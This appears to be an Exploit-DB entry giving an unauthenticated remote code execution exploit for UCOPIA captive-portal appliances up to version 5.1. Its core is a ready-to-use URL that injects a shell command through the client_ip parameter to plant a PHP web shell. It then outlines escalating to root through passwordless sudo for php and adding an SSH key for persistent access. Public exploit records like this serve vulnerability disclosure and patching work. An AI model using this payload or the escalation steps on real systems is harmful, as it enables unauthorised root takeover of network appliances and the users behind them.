UCOPIA Wireless Appliance < 5.1 (Captive Portal) - Unauthenticated Root Remote Code Execution

EDB-ID: 42949
Author: agix
Published: 2017-10-02
Type: Remote
Platform: Linux
Vulnerable App: N/A

 portal Ucopia <= 5.1 
# Date: 02/10/17
# Exploit Author: agix
# Vendor Homepage: http://www.ucopia.com/
# Version: <= 5.1
# Don't know in which version they exactly fixed it.
# When you connect to Ucopia wifi guest, every requests are redirected to controller.access.network

# First create easier to use php backdoor
https://controller.access.network/autoconnect_redirector.php?client_ip=;echo%20'<?php system($_GET[0]);%20?>'>/var/www/html/upload/bd.php;echo%20t

# As php is in sudoers without password...

# Just push your ssh key and get nice root access (ssh is open by default even from wifi guest)

Related Posts